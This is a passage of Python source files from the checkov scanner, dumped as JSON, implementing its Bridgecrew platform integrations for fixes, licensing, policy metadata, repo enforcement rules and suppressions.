ckv_id:\n                    logging.debug(f\"BC ID {fix['policyId']} has no checkov ID - might be a cloned policy\")\n                    ckv_id = fix.get('policyId', '')\n\n                failed_check = failed_check_by_check_resource.get((ckv_id, fix['resourceId']))  # ckv_id is not None here\n                if not failed_check:\n                    logging.warning(f'Could not find the corresponding failed check for the fix for ID {ckv_id} and resource {fix[\"resourceId\"]}')\n                    continue\n                failed_check.fixed_definition = fix['fixedDefinition']\n\n    def _get_fixes_for_file(\n        self, check_type: str, filename: str, file_contents: str, failed_checks: Iterable[Record]\n    ) -> dict[str, Any] | None:\n        if not self.bc_integration.bc_source:\n            logging.error(\"Source was not set\")\n            return None\n\n        errors = list(map(lambda c: {\n            'resourceId': c.resource,\n            'policyId': metadata_integration.get_bc_id(c.check_id) or c.check_id,\n            'startLine': c.file_line_range[0],\n            'endLine': c.file_line_range[1]\n        }, failed_checks))\n\n        payload = {\n            'filePath': filename,\n            'fileContent': file_contents,\n            'framework': check_type,\n            'errors': errors\n        }\n        logging.debug(f'Payload for fixes API: file_path: {filename}, fileContent: {file_contents}, framework: {check_type}, errors: {errors}')\n\n        headers = merge_dicts(\n            get_default_post_headers(self.bc_integration.bc_source, self.bc_integration.bc_source_version),\n            {\"Authorization\": self.bc_integration.get_auth_token()},\n            self.bc_integration.custom_auth_headers\n        )\n\n        if not self.bc_integration.http:\n            raise AttributeError(\"HTTP manager was not correctly created\")\n\n        try:\n            logging.debug(f'Calling fixes API with payload: {json.dumps(payload)}, headers: {headers}, url: {self.fixes_url}')\n            request = self.bc_integration.http.request(\"POST\", self.fixes_url, headers=headers, body=json.dumps(payload))  # type:ignore[no-untyped-call]\n\n        # When running via IDE we can fail here in case of running with -d when the poolManager is broken\n        except ProtocolError as e:\n            logging.error(f'Get fixes request for file {filename} failed with response code error: {e}')\n            if isinstance(self.bc_integration.http, PoolManager):\n                self.bc_integration.http = None\n                self.bc_integration.setup_http_manager(\n                    self.bc_integration.ca_certificate,\n                    self.bc_integration.no_cert_verify\n                )\n                request = self.bc_integration.http.request(\"POST\", self.fixes_url, headers=headers, body=json.dumps(payload))  # type:ignore\n            else:\n                return None\n\n        if request.status != 200:\n            error_message = extract_error_message(request)\n            logging.error(f'Get fixes request for file {filename} failed with response code {request.status}: {error_message} - skipping fixes for this file')\n            return None\n\n        logging.debug(f'Response from fixes API: {request.data}')\n\n        fixes: list[dict[str, Any]] | None = json.loads(request.data) if request.data else None\n        if not fixes or not isinstance(fixes, list):\n            logging.warning(f'Unexpected fixes API response for file {filename}; skipping fixes for this file')\n            return None\n        return fixes[0]\n\n    def pre_scan(self) -> None:\n        # not used\n        pass\n\n    def pre_runner(self, runner: _BaseRunner) -> None:\n        # not used\n        pass\n\n    def post_scan(self, merged_reports: list[Report]) -> None:\n        # not used\n        pass\n\n\nintegration = FixesIntegration(bc_integration)\n"
  },
  {
    "path": "checkov/common/bridgecrew/integration_features/features/licensing_integration.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom typing import TYPE_CHECKING, List, cast\n\nfrom checkov.common.bridgecrew.code_categories import CodeCategoryMapping, CodeCategoryType\nfrom checkov.common.bridgecrew.integration_features.base_integration_feature import BaseIntegrationFeature\nfrom checkov.common.bridgecrew.licensing import CategoryToSubscriptionMapping, CustomerSubscription, \\\n    open_source_categories\nfrom checkov.common.bridgecrew.platform_integration import bc_integration\n\nif TYPE_CHECKING:\n    from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\n    from checkov.common.output.report import Report\n    from checkov.common.typing import _BaseRunner\n\n\nLICENSE_KEY = 'platformLicense'\nMODULES_KEY = 'modules'\n\n\nclass LicensingIntegration(BaseIntegrationFeature):\n    def __init__(self, bc_integration: BcPlatformIntegration) -> None:\n        super().__init__(bc_integration=bc_integration, order=6)\n        self.enabled_modules: List[CustomerSubscription] = []\n        self.open_source_only: bool = True\n\n    @property\n    def billing_plan(self) -> None:\n        # Deprecated, already calculated in the BE into the enabled_modules list\n        return None\n\n    def is_valid(self) -> bool:\n        # We will always use this integration to determine what runs or not\n        return True\n\n    def pre_scan(self) -> None:\n        if not self.bc_integration.bc_api_key:\n            logging.debug('Running without API key, so only open source runners will be enabled')\n            self.open_source_only = True\n        elif not self.bc_integration.customer_run_config_response:\n            logging.debug('Customer run config response does not exist, but there is an API key, so there may be some integration issue. Proceeding with open source runners.')\n            self.open_source_only = True\n        else:\n            logging.debug('Found customer run config and using it for licensing')\n            license_details = self.bc_integration.customer_run_config_response.get(LICENSE_KEY)\n            logging.debug(f'User license details: {license_details}')\n\n            self.open_source_only = False\n            # the API will return True for all modules if they are on resource mode, so we don't actually need the billing plan explicitly here\n            self.enabled_modules = [CustomerSubscription(m) for m, e in license_details.get(MODULES_KEY).items() if e]\n\n    def is_runner_valid(self, runner_check_type: str) -> bool:\n        logging.debug(f'Checking if {runner_check_type} is valid for license')\n        if self.open_source_only:\n            enabled = CodeCategoryMapping[runner_check_type] in open_source_categories  # new secrets are disabled, but the runner is valid\n            logging.debug(f'Open source mode - the runner is {\"en\" if enabled else \"dis\"}abled')\n        else:\n            sub_type = LicensingIntegration.get_subscription_for_runner(runner_check_type)\n            enabled = sub_type in self.enabled_modules\n            logging.debug(f'Customer mode - the {sub_type} subscription is {\"en\" if enabled else \"dis\"}abled')\n\n        return enabled\n\n    def should_run_image_referencer(self) -> bool:\n        return not self.open_source_only and CustomerSubscription.SCA in self.enabled_modules\n\n    @staticmethod\n    def get_subscription_for_runner(runner_check_type: str) -> CustomerSubscription:\n        if 'sca_' in runner_check_type:\n            # SCA runners currently have two CodeCategoryTypes\n            return CustomerSubscription.SCA\n        else:\n            return CategoryToSubscriptionMapping[cast(CodeCategoryType, CodeCategoryMapping[runner_check_type])]\n\n    def post_runner(self, scan_report: Report) -> None:\n        pass\n\n    def pre_runner(self, runner: _BaseRunner) -> None:\n        pass\n\n    def post_scan(self, merged_reports: list[Report]) -> None:\n        # not used\n        pass\n\n\nintegration = LicensingIntegration(bc_integration)\n"
  },
  {
    "path": "checkov/common/bridgecrew/integration_features/features/policies_3d_integration.py",
    "content": "from __future__ import annotations\n\nimport json\nimport logging\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.common.bridgecrew.integration_features.base_integration_feature import BaseIntegrationFeature\nfrom checkov.common.bridgecrew.platform_integration import bc_integration\nfrom checkov.policies_3d.checks_parser import Policy3dParser\nfrom checkov.policies_3d.runner import Policy3dRunner\n\nif TYPE_CHECKING:\n    from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\n    from checkov.common.output.report import Report\n    from checkov.common.typing import _BaseRunner\n\n\nclass Policies3DIntegration(BaseIntegrationFeature):\n    def __init__(self, bc_integration: BcPlatformIntegration) -> None:\n        super().__init__(bc_integration=bc_integration, order=11)\n        self.platform_policy_parser = Policy3dParser()\n\n    def is_valid(self) -> bool:\n        return (\n            self.bc_integration.is_integration_configured()\n            and not self.bc_integration.skip_download\n            and not self.integration_feature_failures\n        )\n\n    def should_run_image_referencer(self) -> bool:\n        return True\n\n    def pre_scan(self) -> None:\n        # not used\n        pass\n\n    def pre_runner(self, runner: _BaseRunner) -> None:\n        # not used\n        pass\n\n    def post_runner(self, scan_report: Report) -> None:\n        # not used\n        pass\n\n    @staticmethod\n    def _convert_raw_check(policy: dict[str, Any]) -> dict[str, Any]:\n        metadata = {\n            'id': policy['id'],\n            'name': policy['title'],\n            'category': policy['category'],\n            'guideline': policy['guideline'],\n            'severity': policy['severity']\n        }\n        check = {\n            'metadata': metadata,\n            'definition': json.loads(policy['code'])\n        }\n        return check\n\n    def post_scan(self, scan_reports: list[Report]) -> Report | None:\n        try:\n            if not self.bc_integration.customer_run_config_response:\n                logging.debug('In the post scan for 3d policies, but nothing was fetched from the platform')\n                self.integration_feature_failures = True\n                return None\n\n            policies = self.bc_integration.customer_run_config_response.get('Policies3D')\n            logging.debug(f'Got {len(policies)} 3d policies from the platform.')\n            if not policies:\n                return None\n\n            runner = Policy3dRunner()\n            report = runner.run_v2(raw_checks=policies, scan_reports=scan_reports)\n            return report\n\n        except Exception as e:\n            self.integration_feature_failures = True\n            logging.debug(f'Scanning without applying 3d policies from the platform.\\n{e}')\n            return None\n\n\nintegration = Policies3DIntegration(bc_integration)\n"
  },
  {
    "path": "checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py",
    "content": "from __future__ import annotations\n\nimport json\nimport logging\nfrom typing import TYPE_CHECKING, Any, cast\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.checks_infra.registry import get_graph_checks_registry\nfrom checkov.common.bridgecrew.integration_features.base_integration_feature import BaseIntegrationFeature\nfrom checkov.common.bridgecrew.platform_integration import bc_integration\nfrom checkov.common.bridgecrew.severities import Severities, get_severity\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\n\nif TYPE_CHECKING:\n    from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\n    from checkov.common.bridgecrew.severities import Severity\n    from checkov.common.output.report import Report\n    from checkov.common.typing import _BaseRunner\n\n\nclass PolicyMetadataIntegration(BaseIntegrationFeature):\n    def __init__(self, bc_integration: BcPlatformIntegration) -> None:\n        super().__init__(bc_integration=bc_integration, order=0)\n        self.check_metadata: dict[str, Any] = {}\n        self.sast_check_metadata: dict[str, Any] = {}\n        self.bc_to_ckv_id_mapping: dict[str, str] = {}\n        self.pc_to_ckv_id_mapping: dict[str, str] = {}\n        self.ckv_id_to_source_incident_id_mapping: dict[str, str] = {}\n        self.severity_key = 'severity'\n        self.filtered_policy_ids: list[str] = []\n        self.filtered_exception_policy_ids: list[str] = []\n\n    def is_valid(self) -> bool:\n        return (\n            not self.bc_integration.skip_download\n            and not self.integration_feature_failures\n        )\n\n    def pre_scan(self) -> None:\n        try:\n            if self.bc_integration.customer_run_config_response:\n                self._handle_customer_run_config(self.bc_integration.customer_run_config_response)\n                if self.bc_integration.is_prisma_integration():\n                    # build a list of policy ids included using the --prisma-metadata-filter flag\n                    self._handle_customer_prisma_policy_metadata(self.bc_integration.prisma_policies_response, exclude_policies=False)\n                    # build a list of policy ids excluded using the --prisma-metadata-filter-exception flag\n                    self._handle_customer_prisma_policy_metadata(self.bc_integration.prisma_policies_exception_response, exclude_policies=True)\n            elif self.bc_integration.public_metadata_response:\n                self._handle_public_metadata(self.bc_integration.public_metadata_response)\n            else:\n                logging.debug('In the pre-scan for policy metadata, but nothing was fetched from the platform')\n                self.integration_feature_failures = True\n                return\n\n            all_checks = BaseCheckRegistry.get_all_registered_checks()\n\n            if self.config and self.config.framework and \"all\" not in self.config.framework:\n                registries = self.config.framework\n                if CheckType.TERRAFORM_PLAN in registries and CheckType.TERRAFORM not in registries:\n                    registries.append(CheckType.TERRAFORM)\n            else:\n                registries = (CheckType.TERRAFORM, CheckType.CLOUDFORMATION, CheckType.KUBERNETES, CheckType.BICEP, CheckType.TERRAFORM_PLAN)\n\n            for r in registries:\n                registry = get_graph_checks_registry(r)\n                registry.load_checks()\n                all_checks += registry.checks\n\n            use_prisma_metadata = self.bc_integration.is_prisma_integration()\n\n            if use_prisma_metadata:\n                self.severity_key = 'pcSeverity'\n\n            for check in all_checks:\n                checkov_id = check.id\n                metadata = self.get_policy_metadata(checkov_id)\n                if metadata:\n                    check.bc_id = metadata.get('id')\n                    check.guideline = metadata.get('guideline')\n\n                    # fall back on plain severity if there is no PC severity\n                    check.severity = get_severity(metadata.get(self.severity_key, metadata.get('severity')))\n                    check.bc_category = metadata.get('category')\n                    check.benchmarks = metadata.get('benchmarks')\n\n                    if use_prisma_metadata and metadata.get('descriptiveTitle'):\n                        check.name = metadata['descriptiveTitle']\n                else:\n                    check.bc_id = None\n        except Exception:\n            self.integration_feature_failures = True\n            logging.debug('An error occurred loading policy metadata. Some metadata may be missing from the run.', exc_info=True)\n\n    def get_bc_id(self, checkov_id: str) -> str:\n        return cast(str, self.check_metadata.get(checkov_id, {}).get('id'))\n\n    def get_guideline(self, checkov_id: str) -> str:\n        return cast(str, self.check_metadata.get(checkov_id, {}).get('guideline'))\n\n    def get_severity(self, checkov_id: str) -> Severity | None:\n        severity: str | Severity | None = self.check_metadata.get(checkov_id, {}).get(self.severity_key)\n        if not severity:\n            severity = self.check_metadata.get(checkov_id, {}).get('severity')\n        if severity and isinstance(severity, str):\n            return Severities[severity]  # not all runners register their checks in time for being processed above\n        return cast(None, severity)\n\n    def get_category(self, checkov_id: str) -> str:\n        return cast(str, self.check_metadata.get(checkov_id, {}).get('category'))\n\n    def get_benchmarks(self, checkov_id: str) -> dict[str, list[str]] | None:\n        return cast(\"dict[str, list[str]] | None\", self.check_metadata.get(checkov_id, {}).get('benchmarks'))\n\n    def get_prisma_policy_title(self, checkov_id: str) -> str:\n        return cast(str, self.check_metadata.get(checkov_id, {}).get('descriptiveTitle'))\n\n    def get_policy_metadata(self, checkov_id: str) -> dict[str, Any] | None:\n        return self.check_metadata.get(checkov_id)\n\n    def get_ckv_id_from_bc_id(self, bc_id: str) -> str | None:\n        return self.bc_to_ckv_id_mapping.get(bc_id)\n\n    def get_ckv_id_from_pc_id(self, pc_id: str) -> str | None:\n        return self.pc_to_ckv_id_mapping.get(pc_id)\n\n    def get_source_incident_id_from_ckv_id(self, ckv_id: str) -> str | None:\n        return self.ckv_id_to_source_incident_id_mapping.get(ckv_id)\n\n    def _handle_public_metadata(self, check_metadata: dict[str, Any]) -> None:\n        guidelines = check_metadata['guidelines']\n        self.bc_to_ckv_id_mapping = check_metadata['idMapping']\n\n        for ckv_id, guideline in guidelines.items():\n            self.check_metadata[ckv_id] = {\n                'guideline': guideline\n            }\n\n        for bc_id, ckv_id in self.bc_to_ckv_id_mapping.items():\n            if ckv_id in self.check_metadata:\n                self.check_metadata[ckv_id]['id'] = bc_id\n            else:\n                self.check_metadata[ckv_id] = {\n                    'id': bc_id\n                }\n\n    def _handle_customer_run_config(self, run_config: dict[str, Any]) -> None:\n        self.check_metadata = run_config['policyMetadata']\n        for ckv_id, pol in self.check_metadata.items():\n            if 'SAST' in ckv_id:\n                self.sast_check_metadata[ckv_id] = pol\n            self.bc_to_ckv_id_mapping[pol['id']] = ckv_id\n            if self.bc_integration.is_prisma_integration() and pol.get('pcPolicyId'):\n                self.pc_to_ckv_id_mapping[pol['pcPolicyId']] = ckv_id\n        # Custom policies are returned in run_config['customPolicies'] rather than run_config['policyMetadata'].\n        if 'customPolicies' in run_config:\n            for custom_policy in run_config['customPolicies']:\n                custom_policy_check_metadata = {\n                    'severity': custom_policy.get('severity'),\n                    'guideline': custom_policy.get('guideline')\n                }\n                self.check_metadata[custom_policy['id']] = {k: v for k, v in custom_policy_check_metadata.items() if v is not None}\n                pc_policy_id = custom_policy.get('pcPolicyId')\n                if pc_policy_id:\n                    self.pc_to_ckv_id_mapping[pc_policy_id] = custom_policy['id']\n                source_incident_id = custom_policy.get('sourceIncidentId')\n                if source_incident_id:\n                    self.ckv_id_to_source_incident_id_mapping[custom_policy['id']] = source_incident_id\n\n    def _handle_customer_prisma_policy_metadata(self, prisma_policy_metadata: list[dict[str, Any]], exclude_policies: bool) -> None:\n        policy_ids = list()\n        if isinstance(prisma_policy_metadata, list):\n            for metadata in prisma_policy_metadata:\n                logging.debug(f\"Parsing filtered_policy_ids from metadata: {json.dumps(metadata)}\")\n                pc_id = metadata.get('policyId')\n                if pc_id:\n                    ckv_id = self.get_ckv_id_from_pc_id(pc_id)\n                    if ckv_id:\n                        policy_ids.append(ckv_id)\n            if exclude_policies:\n                self.filtered_exception_policy_ids = policy_ids\n                self._add_ckv_id_for_filtered_cloned_checks(self.filtered_exception_policy_ids, exclude_policies)\n            else:\n                self.filtered_policy_ids = policy_ids\n                self._add_ckv_id_for_filtered_cloned_checks(self.filtered_policy_ids, exclude_policies)\n\n    def _add_ckv_id_for_filtered_cloned_checks(self, policy_ids: list[str], exclude_policies: bool) -> None:\n        \"\"\"\n        Filtered checks are the policies that are returned by --policy-metadata-filter.\n        Filtered exclusion checks are the policies that are returned by --policy-metadata-filter-exclusion.\n        Cloned checks are policies that have modified metadata in Prisma (severity, title etc).\n        Filtered checks do not have a definition if they are cloned, instead they have a sourceIncidentId\n        which corresponds to the BC ID of the original source check.\n        This method adds the CKV ID for that source check to the list of filtered policies to ensure it is run.\n        Example:\n            Input:\n                filtered_policy_ids = [ \"org_AWS_1609123441\" ]\n                ckv_id_to_source_incident_id_mapping =  { \"org_AWS_1609123441\": \"BC_AWS_GENERAL_123\" }\n                bc_id_to_ckv_id_mapping = { \"BC_AWS_GENERAL_123\": \"CKV_AWS_123\" }\n            Output:\n                filtered_policy_ids = [ \"org_AWS_1609123441\", \"CKV_AWS_123\" ]\n        \"\"\"\n        ckv_ids = []\n        for policy_id in policy_ids:\n            source_bc_id = self.get_source_incident_id_from_ckv_id(policy_id)\n            if not source_bc_id:\n                continue\n            ckv_id = self.get_ckv_id_from_bc_id(source_bc_id)\n            if not ckv_id:\n                continue\n            ckv_ids.append(ckv_id)\n        if exclude_policies:\n            self.filtered_exception_policy_ids += ckv_ids\n            return\n        self.filtered_policy_ids += ckv_ids\n\n    def pre_runner(self, runner: _BaseRunner) -> None:\n        # not used\n        pass\n\n    def post_runner(self, scan_reports: Report) -> None:\n        # not used\n        pass\n\n    def post_scan(self, merged_reports: list[Report]) -> None:\n        # not used\n        pass\n\n\nintegration = PolicyMetadataIntegration(bc_integration)\n"
  },
  {
    "path": "checkov/common/bridgecrew/integration_features/features/repo_config_integration.py",
    "content": "from __future__ import annotations\n\nimport json\nimport logging\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.common.bridgecrew.code_categories import CodeCategoryConfiguration, CodeCategoryType\nfrom checkov.common.bridgecrew.integration_features.base_integration_feature import BaseIntegrationFeature\nfrom checkov.common.bridgecrew.platform_integration import bc_integration\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\n\nif TYPE_CHECKING:\n    from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\n    from checkov.common.output.report import Report\n    from checkov.common.typing import _BaseRunner\n\n\nclass RepoConfigIntegration(BaseIntegrationFeature):\n    def __init__(self, bc_integration: BcPlatformIntegration) -> None:\n        super().__init__(bc_integration=bc_integration, order=0)\n        self.skip_paths: set[str] = set()\n        self.enforcement_rule: dict[str, Any] = {}\n        self.code_category_configs: dict[str, CodeCategoryConfiguration] = {}\n\n    def is_valid(self) -> bool:\n        return (\n            self.bc_integration.is_integration_configured()\n            and not self.bc_integration.skip_download\n            and not self.integration_feature_failures\n        )\n\n    def pre_scan(self) -> None:\n        try:\n            if not self.bc_integration.customer_run_config_response:\n                logging.debug('In the pre-scan for repo config settings, but nothing was fetched from the platform')\n                self.integration_feature_failures = True\n                return\n\n            # It is possible that they will have two different and conflicting rules for this repo - one for the VCS\n            # integration that matches the value of --repo-id (org/repo), and one for the CLI upload repo (e.g., customer_org/repo).\n            # For the skip paths, we can just combine the lists and call it good. For enforcement rules, we will\n            # prioritize the VCS integration over CLI, and warn them that the rules should match for these repos.\n\n            self._set_exclusion_paths(self.bc_integration.customer_run_config_response['vcsConfig'])\n            self._set_enforcement_rules(self.bc_integration.customer_run_config_response['enforcementRules'])\n\n        except Exception:\n            self.integration_feature_failures = True\n            logging.debug(\"Scanning without applying scanning configs from the platform.\", exc_info=True)\n\n    @staticmethod\n    def _get_code_category_object(code_category_config: dict[str, Any],\n                                  code_category_type: str) -> CodeCategoryConfiguration | None:\n        if code_category_type not in code_category_config:\n            return None\n        soft_fail_threshold = Severities[code_category_config[code_category_type]['softFailThreshold']]\n        hard_fail_threshold = Severities[code_category_config[code_category_type]['hardFailThreshold']]\n        return CodeCategoryConfiguration(code_category_type, soft_fail_threshold, hard_fail_threshold)\n\n    def _set_exclusion_paths(self, vcs_config: dict[str, Any]) -> None:\n        for section in vcs_config['scannedFiles']['sections']:\n            repos = section['repos']\n            if any(repo for repo in repos if self.bc_integration.repo_matches(repo)):\n                logging.debug(f'Found path exclusion config section for repo: {section}')\n                self.skip_paths.update(section['rule']['excludePaths'])\n\n        logging.debug(f'Skipping the following paths based on platform settings: {self.skip_paths}')\n\n    def _set_enforcement_rules(self, enforcement_rules_config: dict[str, Any]) -> None:\n        rules = enforcement_rules_config['rules']\n        default_rule = next(r for r in rules if r['mainRule'] is True)\n        other_rules = [r for r in rules if r != default_rule]\n\n        logging.debug(f'Default enforcement rule: {json.dumps(default_rule, indent=2)}')\n        logging.debug(f'Other enforcement rules ({len(other_rules)} total): {json.dumps(other_rules, indent=2)}')\n\n        matched_rules = []\n\n        for rule in other_rules:\n            if any(repo for repo in rule['repositories'] if self.bc_integration.repo_matches(repo['accountName'])):\n                matched_rules.append(rule)\n\n        if len(matched_rules) > 1:\n            logging.warning(f'Found {len(matched_rules)} enforcement rules for the specified repo. This likely means '\n                            f'that one rule was created for the VCS repo, and another rule for the CLI repo. You '\n                            f'should update the configurations in the platform to ensure that the following repos '\n                            f'are all in the same rule group:')\n            exact_match_rule = None\n            for rule in matched_rules:\n                for repo in rule['repositories']:\n                    repo_name = repo['accountName']\n                    if self.bc_integration.repo_matches(repo_name):\n                        logging.warning(f'- {repo_name}')\n                        if repo_name == self.bc_integration.repo_id:\n                            if exact_match_rule:\n                                logging.debug('Found multiple rules that exactly match --repo-id - likely the same '\n                                              'name across multiple VCSes. Using the first one.')\n                            else:\n                                exact_match_rule = rule\n\n            if not exact_match_rule:\n                logging.debug('Did not find any rules with a repo name that exactly matched --repo-id; taking the '\n                              'first one.')\n\n            self.enforcement_rule = exact_match_rule or matched_rules[0]\n        elif len(matched_rules) == 0:\n            logging.info('Did not find any enforcement rules for the specified repo; using the default rule')\n            self.enforcement_rule = default_rule\n        else:\n            logging.info('Found exactly one matching enforcement rule for the specified repo')\n            self.enforcement_rule = matched_rules[0]\n\n        logging.debug(\n            'Selected the following enforcement rule (it will not be applied unless --use-enforcement-rules is specified):')\n        logging.debug(json.dumps(self.enforcement_rule, indent=2))\n\n        # handle the rename in the platform side\n        if 'SAST' in self.enforcement_rule['codeCategories'] and 'WEAKNESSES' not in self.enforcement_rule['codeCategories']:\n            self.enforcement_rule['codeCategories']['WEAKNESSES'] = self.enforcement_rule['codeCategories']['SAST']\n\n        if 'WEAKNESSES' in self.enforcement_rule['codeCategories'] and 'SAST' not in self.enforcement_rule['codeCategories']:\n            self.enforcement_rule['codeCategories']['SAST'] = self.enforcement_rule['codeCategories']['WEAKNESSES']\n\n        for code_category_type in [e.value for e in CodeCategoryType]:\n            config = RepoConfigIntegration._get_code_category_object(self.enforcement_rule['codeCategories'],\n                                                                     code_category_type)\n            if config:\n                self.code_category_configs[code_category_type] = config\n\n    def is_code_review_disabled(self, code_category_type: str) -> bool:\n        config = self.code_category_configs[code_category_type]\n        if config.hard_fail_threshold == Severities[BcSeverities.OFF] and config.soft_fail_threshold == Severities[BcSeverities.OFF]:\n            return True\n        return False\n\n    def pre_runner(self, runner: _BaseRunner) -> None:\n        # not used\n        pass\n\n    def post_runner(self, scan_reports: Report) -> None:\n        # not used\n        pass\n\n    def post_scan(self, merged_reports: list[Report]) -> None:\n        # not used\n        pass\n\n\nintegration = RepoConfigIntegration(bc_integration)\n"
  },
  {
    "path": "checkov/common/bridgecrew/integration_features/features/suppressions_integration.py",
    "content": "from __future__ import annotations\n\nimport itertools\nimport logging\nimport re\nfrom itertools import groupby\nfrom typing import TYPE_CHECKING, Pattern, Any, Optional\n\nfrom checkov.common.bridgecrew.check_type import CheckType\n\nfrom checkov.common.bridgecrew.integration_features.base_integration_feature import BaseIntegrationFeature\nfrom checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import \\\n    integration as metadata_integration\nfrom checkov.common.bridgecrew.platform_integration import bc_integration\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.record import SCA_PACKAGE_SCAN_CHECK_NAME\nfrom checkov.common.util.file_utils import convert_to_unix_path\nfrom checkov.common.util.str_utils import removeprefix, align_path\n\nif TYPE_CHECKING:\n    from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\n    from checkov.common.output.report import Report\n    from checkov.common.output.record import Record\n    from checkov.common.typing import _BaseRunner\n\n\nclass SuppressionsIntegration(BaseIntegrationFeature):\n    def __init__(self, bc_integration: BcPlatformIntegration) -> None:\n        super().__init__(bc_integration=bc_integration, order=2)  # must be after the custom policies integration\n        self.suppressions_v2: dict[str, list[dict[str, Any]]] = {}\n        self.suppressions: dict[str, list[dict[str, Any]]] = {}\n\n        # bcorgname_provider_timestamp (ex: companyxyz_aws_1234567891011)\n        # the provider may be lower or upper depending on where the policy was created\n        self.custom_policy_id_regex = re.compile(r'^[a-zA-Z0-9]+_[a-zA-Z]+_\\d{13}$')\n        self.repo_name_regex: Pattern[str] | None = None\n\n    @property\n    def suppressions_url(self) -> str:\n        return f\"{self.bc_integration.api_url}/api/v1/suppressions\"\n\n    def is_valid(self) -> bool:\n        return (\n            self.bc_integration.is_integration_configured()\n            and not self.bc_integration.skip_download\n            and not self.integration_feature_failures\n        )\n\n    def pre_scan(self) -> None:\n        try:\n            if not self.bc_integration.customer_run_config_response:\n                logging.debug('In the pre-scan for suppressions, but nothing was fetched from the platform')\n                self.integration_feature_failures = True\n                return\n\n            suppressions = self.bc_integration.customer_run_config_response.get('suppressions')\n            suppressions_v2 = self.bc_integration.customer_run_config_response.get('suppressionsV2')  # currently just SAST\n\n            for suppression in suppressions:\n                suppression['isV1'] = True\n                if suppression['policyId'] in metadata_integration.bc_to_ckv_id_mapping:\n                    suppression['checkovPolicyId'] = metadata_integration.get_ckv_id_from_bc_id(suppression['policyId'])\n                else:\n                    suppression['checkovPolicyId'] = suppression['policyId']  # custom policy\n\n            for suppression in suppressions_v2:\n                suppression['isV1'] = False\n                checkov_ids = []\n                for policy_id in suppression['policyIds']:\n                    if policy_id in metadata_integration.bc_to_ckv_id_mapping:\n                        checkov_ids.append(metadata_integration.bc_to_ckv_id_mapping[policy_id])\n                    else:\n                        checkov_ids.append(policy_id)  # custom policy - not supported yet\n                suppression['checkovPolicyIds'] = checkov_ids\n\n            self._init_repo_regex()\n            suppressions = sorted(suppressions, key=lambda s: s['checkovPolicyId'])\n\n            # group and map by policy ID\n            self.suppressions = {policy_id: list(sup) for policy_id, sup in\n                                 groupby(suppressions, key=lambda s: s['checkovPolicyId'])}\n\n            # map suppressions v2 by checkov ID - because the policy IDs are arrays, we need to map each unique ID in each\n            # suppression's policy ID array to its suppressions\n            self.suppressions_v2 = SuppressionsIntegration.create_suppression_v2_policy_id_map(suppressions_v2)\n\n            logging.debug('The found suppression v1 rules are:')\n            logging.debug(self.suppressions)\n            logging.debug('The found suppression v2 rules are:')\n            logging.debug(self.suppressions_v2)\n\n        except Exception:\n            self.integration_feature_failures = True\n            logging.debug(\"Scanning without applying suppressions configured in the platform.\", exc_info=True)\n\n    @staticmethod\n    def create_suppression_v2_policy_id_map(suppressions_v2: list[dict[str, Any]]) -> dict[str, list[dict[str, Any]]]:\n        checkov_id_map: dict[str, list[dict[str, Any]]] = {}\n        for suppression in suppressions_v2:\n            for checkov_id in suppression['checkovPolicyIds']:\n                if checkov_id in checkov_id_map:\n                    checkov_id_map[checkov_id].append(suppression)\n                else:\n                    checkov_id_map[checkov_id] = [suppression]\n        return checkov_id_map\n\n    def post_runner(self, scan_report: Report) -> None:\n        self._apply_suppressions_to_report(scan_report)\n\n    def _apply_suppressions_to_report(self, scan_report: Report) -> None:\n        logging.debug('Start apply_suppressions_to_report')\n        # holds the checks that are still not suppressed\n        still_failed_checks = []\n        still_passed_checks = []\n        for check in scan_report.failed_checks + scan_report.passed_checks:\n            # in order to be able to suppress by policy we assign the relevant check id for package / image scan\n            # and avoiding licenses vulns\n            if scan_report.check_type == CheckType.SCA_PACKAGE and check.check_name == SCA_PACKAGE_SCAN_CHECK_NAME:\n                check.check_id = 'BC_VUL_2'\n            if scan_report.check_type == CheckType.SCA_IMAGE and check.check_name == SCA_PACKAGE_SCAN_CHECK_NAME:\n                check.check_id = 'BC_VUL_1'\n\n            relevant_suppressions = self.suppressions.get(check.check_id)\n            relevant_suppressions_v2 = self.suppressions_v2.get(check.check_id)\n\n            has_suppression = relevant_suppressions or relevant_suppressions_v2\n            if isinstance(has_suppression, list):\n                logging.debug(f'(_apply_suppressions_to_report) - number of suppression {len(has_suppression)}')\n            applied_suppression = self._check_suppressions(check, relevant_suppressions, relevant_suppressions_v2) if has_suppression else None\n            if applied_suppression:\n                suppress_comment = applied_suppression['comment'] if applied_suppression['isV1'] else applied_suppression['justificationComment']\n                if self._should_omit_check(applied_suppression):\n                    logging.debug(f'Removing check {check.check_id} from the report, comment: {suppress_comment}')\n                else:\n                    logging.debug(f'Applying suppression to the check {check.check_id} with the comment: {suppress_comment}')\n                    check.check_result = {\n                        'result': CheckResult.SKIPPED,\n                        'suppress_comment': suppress_comment\n                    }\n                    scan_report.skipped_checks.append(check)\n            elif check.check_result['result'] == CheckResult.FAILED:\n                still_failed_checks.append(check)\n            else:\n                still_passed_checks.append(check)\n\n        scan_report.failed_checks = still_failed_checks\n        scan_report.passed_checks = still_passed_checks\n\n    @staticmethod\n    def _should_omit_check(applied_suppression: dict[str, Any]) -> bool:\n        if applied_suppression['isV1']:\n            return False\n        if applied_suppression['ruleType'] == 'policy':\n            return True\n        return False\n\n    def _check_suppressions(self, record: Record, suppressions: Optional[list[dict[str, Any]]], suppressions_v2: Optional[list[dict[str, Any]]]) -> dict[str, Any] | None:\n        \"\"\"\n        Checks the specified suppressions against the specified record, returning the applied suppression, if any, else None\n        :return:\n        \"\"\"\n        if suppressions:\n            for suppression in suppressions:\n                if self._check_suppression(record, suppression):\n                    return suppression\n        if suppressions_v2:\n            for suppression in suppressions_v2:\n                if self._check_suppression_v2(record, suppression):\n                    return suppression\n        return None\n\n   